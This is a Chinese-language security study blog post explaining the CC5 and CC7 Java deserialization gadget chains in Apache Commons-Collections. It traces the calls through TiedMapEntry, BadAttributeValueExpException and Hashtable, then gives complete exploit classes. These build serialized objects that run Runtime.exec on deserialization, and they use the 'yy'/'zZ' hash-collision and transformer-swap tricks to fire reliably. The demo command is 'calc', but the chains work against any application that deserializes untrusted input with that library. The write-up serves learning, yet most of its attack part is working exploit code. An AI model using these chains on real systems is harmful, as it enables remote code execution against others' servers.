Commons-Collections 篇 --CC5&CC7
CC5
和cc1类似就是lazymap.get的触发变了
把cc1的Proxy(annotationinvocationHandler).xxx——————————————LazyMap.get
变成了BadAttributeValueExpException.readObject—-TiedMapEntry.toString—LazyMap.get
分析

TiedMapEntry类中的toString方法1
2
3public String toString() { return getKey() + "=" + getValue(); }返回了以及getValue()
getValue()1
2
3public Object getValue() { return map.get(key); }getKey1
2
3public Object getKey() { return key; }
getValue()就和cc1一样了后面调用
map.get()又到
lazymap.get我们继续往前找,看toString的用法(直接找一个类下的
readObject)找到了
BadAttributeValueExpException类的readObject1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); //toString()在这里 } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
构建
先看一下cc1的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27public class CC1Test2 { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap); Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin");
//主要是这里不同
到
lazymap是一样的1
2
3
4
5
6
7
8
9
10
11public class CC5Test { public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); Map lazymap = LazyMap.decorate(map, chainedTransformer);后面
TiedMapEntry.toString.getValue.get—->LazyMap.get- 先看TiedMapEntry构造器
1
2
3
4
5public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }- 传两个参数,使用toString()
1
2TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key"); tiedMapEntry.toString();调用BadAttributeValueExpException.readObject
依旧看看readObject的代码

触发val = valObj.toString();————–由val 控制

所以说,反射修改val为tiedMapEntry即可触发恶意代码
编写
1
2
3
4
5Class<BadAttributeValueExpException> c4 =BadAttributeValueExpException.class; BadAttributeValueExpException bad = c4.newInstance(); Field val = c4.getDeclaredField("val"); val.setAccessible(true); val.set(bad,tiedMapEntry);
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class CC5Test {
public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
// lazymap.get(1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
tiedMapEntry.toString();
Class c4 =BadAttributeValueExpException.class;
BadAttributeValueExpException bad = c4.newInstance();
Field val = c4.getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedMapEntry);//BadAttributeValueExpException它可序列化
serialize(bad);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
} 流程总结
1
2
3
4
5
6
7
8
9
10
11
12
13
readObject()
↓
valObj = tiedMapEntry ←我们塞进去的
↓
val = valObj.toString() ←自动执行
↓
TiedMapEntry.toString()
↓
LazyMap.get()
↓
ChainedTransformer.transform()
↓
Runtime.exec("calc")
CC7
和cc1类似就是lazymap.get的触发变了
把cc1的Proxy(annotationinvocationHandler).xxx——————————————LazyMap.get
变成了Hashtable.readObject—-AbstractMap.equals—LazyMap.get
分析

还是找
get调用因为 LazyMap 不存在 equals 方法,然后找到它的父类 AbstractMapDecorator 调用 equals
1
2
3
4
5
6public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }AbstractMap类的equals方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }这个类中调用
equals找
equals的调用找到
Hashtable类的reconstitutionPut方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { //调用在这里 throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }查看
reconstitutionPut的调用
发现正好在这个类的readObject方法里面
构建
跟上面一样,到lazymap都贴下来
1
2
3
4
5
6
7
8
9Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); Map lazymap = LazyMap.decorate(map, chainedTransformer);看一下reconstitutionPut

这里对传进的 Entry 对象数组进行了循环,逐个调用
e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。从本质上来说,我们需要在入口类这里传进去恶意的 key,接着调用 key.equals() 即可。
编写测试
1
2
3
4
5Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, "111"); serialize(hashtable); unserialize("ser.bin");发现弹不出来计算机
打个断点调试一下
把断点打在了
AbstractMap.equals()的地方、
结果发现居然没有执行到
.equals()这个方法
向我们优秀在张师傅取取经(附上她的博客地址https://bxhhf.github.io/2025/05/13/CC5_CC7)

这里的链子比我们多了一个 map,而且将两个 map 进行了比较
为什么调用的两次
put()其中map中key的值分别为yy和zZ?第二次调用
reconstitutionPut()进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过(e.hash == hash)判断为真才能走到我们想要的e.key.equal()方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的key.hashCode()得到的,也就是说 lazyMap1 的 hash 值就是"yy".hashCode(),lazyMap2 的 hash 值就是"zZ".hashCode(),而在 java 中有一个小 bug:1
"yy".hashCode() == "zZ".hashCode()yy和zZ由hashCode()计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中put()的值设置为yy和zZ,才能走到我们想要的e.key.equal()方法中。为什么在调用完
HashTable.put()之后,还需要在 map2 中remove()掉 yy?这是因为
HashTable.put()实际上也会调用到equals()方法:当调用完
equals()方法后,LazyMap2 的 key 中就会增加一个 yy 键:这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。
修改测试
1
2
3
4
5
6
7
8
9
10
11
12
13HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1); decorateMap2.remove("yy"); serialize(hashtable); unserialize("ser.bin");发现可以弹出计算器

但是
现在执行的话会跳出两个计算器,在序列化的时候会跳出一个,所以我们要先将序列化的这个过程赋为常数,让其反序列化的时候弹出计算器。(类似于
urldns的那一套)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1); //加了一个这个 Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); decorateMap2.remove("yy"); serialize(hashtable); unserialize("ser.bin"); }
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CC7Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}流程总结
1
2
3
4
5
6
7
8
9
10
11
readObject()
↓
rehash()
↓
lazyMap1.hashCode()
↓
LazyMap.get()
↓
ChainedTransformer.transform()
↓
InvokerTransformer → Runtime.exec()